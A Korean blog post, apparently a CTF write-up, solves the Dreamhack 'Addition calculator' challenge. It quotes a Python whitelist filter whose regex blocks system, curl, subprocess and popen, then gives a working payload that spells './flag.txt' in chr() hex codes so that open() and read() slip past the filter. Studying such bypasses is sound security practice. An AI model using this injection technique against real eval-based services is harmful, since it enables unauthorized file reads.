본문 바로가기

Wargame & CTF

[Dreamhack] Addition calculator

해당 문제는 필터링에 대해서 어떻게 우회할지 생각해보는 문제입니다. 따라서 문제의 소스코드를 확인하기 전에 기본적인 기능이 어떻게 되는지 먼저 확인해봅니다.

 

우선 기본적인 연산이 잘 작동하는지 확인해줍니다.

 

이후 문자에 대해서 어떻게 처리되는지 확인해봅니다.

이제 문제 해결을 위해서 소스코드를 살펴봅니다. 

def filter(formula):
    w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
    w_list.extend([" ", ".", "(", ")", "+"])

    if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
        return True
    for c in formula:
        if c not in w_list:
            return True

해당 코드를 살펴보면 white list 방식으로 구성되어 있으며 스페이스, 닷, 소괄호 두개, 플러스에 대해서는 허용하고 있으며

system, curl, flag, subprocess, popen등은 차단하고 있는 것을 확인할 수 있습니다. 따라서 이를 해결하기 위해서는 파이썬 내에서 파일을 열고 읽을 수 있는 함수를 이용해야한다는 것을 파악할 수 있습니다.

 

해결을 위해서 파이썬 함수들에 대해서 찾아보았습니다.

[python] 파이썬 파일읽기, 파일쓰기 (open , close, write, read, tell, seek) (tistory.com)

 

[python] 파이썬 파일읽기, 파일쓰기 (open , close, write, read, tell, seek)

안녕하세요. BlockDMask 입니다. 오늘은 파이썬에서 파일을 생성하고 읽고 쓰는 파일 입출력을 한번 다뤄볼까 합니다. 여기서 다룰 파일 관련 함수는 open, close, write, writeline, writelines, read, readline, rea

blockdmask.tistory.com

 

이제 자신이 사용할 함수를 정해두고 문제에 답이 될 수 있는 입력값을 작성합니다.

 

open('./flag.txt', 'r')

이와 같은 값은 화이트리스트에 어긋나므로 바로 필터링 되는 것을 확인할 수 있습니다. 따라서 ./

 

이후 chr()를 사용하여 위의 문장을 아래와 같이 변경한 후 시도하였지만 실패하였습니다.

open(chr(27)+chr(2e)+chr(2f)+chr(66)+chr(6c)+chr(61)+chr(67)+chr(2e)+chr(74)+chr(78)+chr(74)+chr(27)+chr(2c)+chr(20)+chr(27)+chr(72)+chr(27))

 

open(chr(0x27)+chr(0x2e)+chr(0x2f)+chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)+chr(0x2e)+chr(0x74)+chr(0x78)+chr(0x74)+chr(0x27)+chr(0x2c)+chr(0x20)+chr(0x27)+chr(0x72)+chr(0x27))

 

따라서 다른 방법이 있다고 판단하여 아래와 같이 작성하였습니다.

open(chr(0x2e)+chr(0x2f)+chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)+chr(0x2e)+chr(0x74)+chr(0x78)+chr(0x74)).read()

./flag.txt를 오픈하여 읽도록 작성하였습니다. 해당 텍스트에 대한 hex는 DenCode | Encoding & Decoding Online Tools 를 이용하였습니다.

 

이를 이용하여 아래와 같은 답을 얻을 수 있습니다.

 

'Wargame & CTF' 카테고리의 다른 글

[Portswigger] Access Control  (0) 2023.12.29
[Portswigger] Path traversal  (0) 2023.12.22
[Webhacking.kr] 1,3,14,15,17번  (1) 2023.12.21
[Dreamhack] baby-union  (0) 2023.12.20
[Dreamhack] baseb64  (0) 2023.12.20